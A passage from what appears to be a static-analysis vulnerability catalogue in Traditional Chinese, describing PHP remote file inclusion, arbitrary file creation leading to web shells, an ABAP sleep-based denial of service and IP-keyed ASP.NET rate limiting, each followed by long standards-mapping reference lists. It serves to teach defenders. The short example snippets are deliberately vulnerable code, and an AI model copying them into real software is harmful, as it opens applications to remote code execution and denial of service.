[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.java.dangerous_file_inclusion
Abstract
若允許未經驗證的使用者輸入對 PHP 中動態包含的檔案進行控制,會導致執行惡意的程式碼。
Explanation
許多現代的網路 script 語言,可透過在某個封包檔案中包含額外的來源檔案來重複使用與模組化程式碼。這種功能通常會應用在應用程式的標準外觀 (範本),因此,不需編譯程式碼便可共各種功能,或將程式碼分成較小的可管理檔案。所包含的檔案會被解譯成父系檔案的一部分,並以相同的方式執行。File Inclusion 弱點會在下列情況發生:所包含檔案的路徑由未經驗證的使用者輸入所控制。

File Inclusion 弱點是 PHP 應用程式中最多也最嚴重的弱點之一。在 PHP 4.2.0 版之前,PHP 安裝提供預設啟用的 register_globals 選項,這會讓攻擊者輕易地覆寫內部伺服器的變數。雖然停用 register_globals 可減少程式因為 File Inclusion 弱點受到攻擊的可能,但是這些問題仍存在現在的 PHP 應用程式中。

範例 1:下列程式碼包含一個檔案,該檔案位於範本中定義為 $server_root 的應用程式中。


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


如果 register_globals 設定為 on,則攻擊者可能透過提供 $server_root 作為要求參數來覆寫 $server_root 值,從而部分控制動態包含陳述式。

範例 2:以下程式碼採用使用者指定的範本名稱,並將其包含在要產生的 PHP 頁面中。


...
<?php include($_GET['headername']); ?$gt;
...


Example 2 中,攻擊者可能透過提供 headername 的惡意值來完全控制動態包含陳述式,這會導致程式包含來自外部站台的檔案。

如果攻擊者為動態包含指令指定有效的檔案,則會將該檔案的內容傳送到 PHP 解譯器。如果是純文字檔案,例如 /etc/shadow,檔案可能會成為 HTML 輸出的一部分。更糟糕的是,如果攻擊者可能指定由攻擊者控制的遠端站台的路徑,則動態包含陳述式將執行攻擊者提供的任意惡意程式碼。
References
[1] Using Register Globals PHP Guide
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.php.dangerous_file_inclusion
Abstract
攻擊者將能夠在系統上使用任意內容建立檔案。
Explanation
攻擊者將能夠在伺服器的檔案系統中使用任意內容建立檔案。建立的檔案稍後可由攻擊者用於執行其他攻擊,這取決於控制插入檔案之內容的能力。

如果攻擊者能夠控制檔案的內容,且檔案由 Web 伺服器提供,則攻擊者就能夠插入惡意 Web Shell,進而讓其在伺服器上遠端執行任意指令。

如果攻擊者可能利用來自檔案系統中另一個檔案的內容來建立檔案,則能夠讀取檔案系統上可使用易受攻擊的應用程式的權限來存取的任意檔案。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-002754
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[12] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[31] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Path Traversal
desc.dataflow.php.dangerous_file_injection
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源而造成資源耗竭的時間。

範例 1:以下程式碼允許使用者指定目前工作程序進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用工作程序。


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service
Abstract
應用程式使用用戶端的遠端 IP 位址來建立 RateLimitPartition。
Explanation
根據用戶端的 IP 位址建立 RateLimitPartitions 會使應用程式容易遭受採用 IP Source Address Spoofing 的 Denial of Service 攻擊。

範例 1:在以下範例中,GetTokenBucketLimiter() 方法使用遠端 IP 位址 (RemoteIpAddress) 作為建立 RateLimitPartition 時的分割區索引鍵:


...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {

IPAddress? ip = context.Connection.RemoteIpAddress;

return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
References
[1] By Arvin Kahbazi, Maarten Balliauw, and Rick Anderson Rate limiting middleware in ASP.NET Core Microsoft
[2] P, Ferguson Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing Cisco Systems
[3] Standards Mapping - Common Weakness Enumeration CWE ID 730
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[10] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[13] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
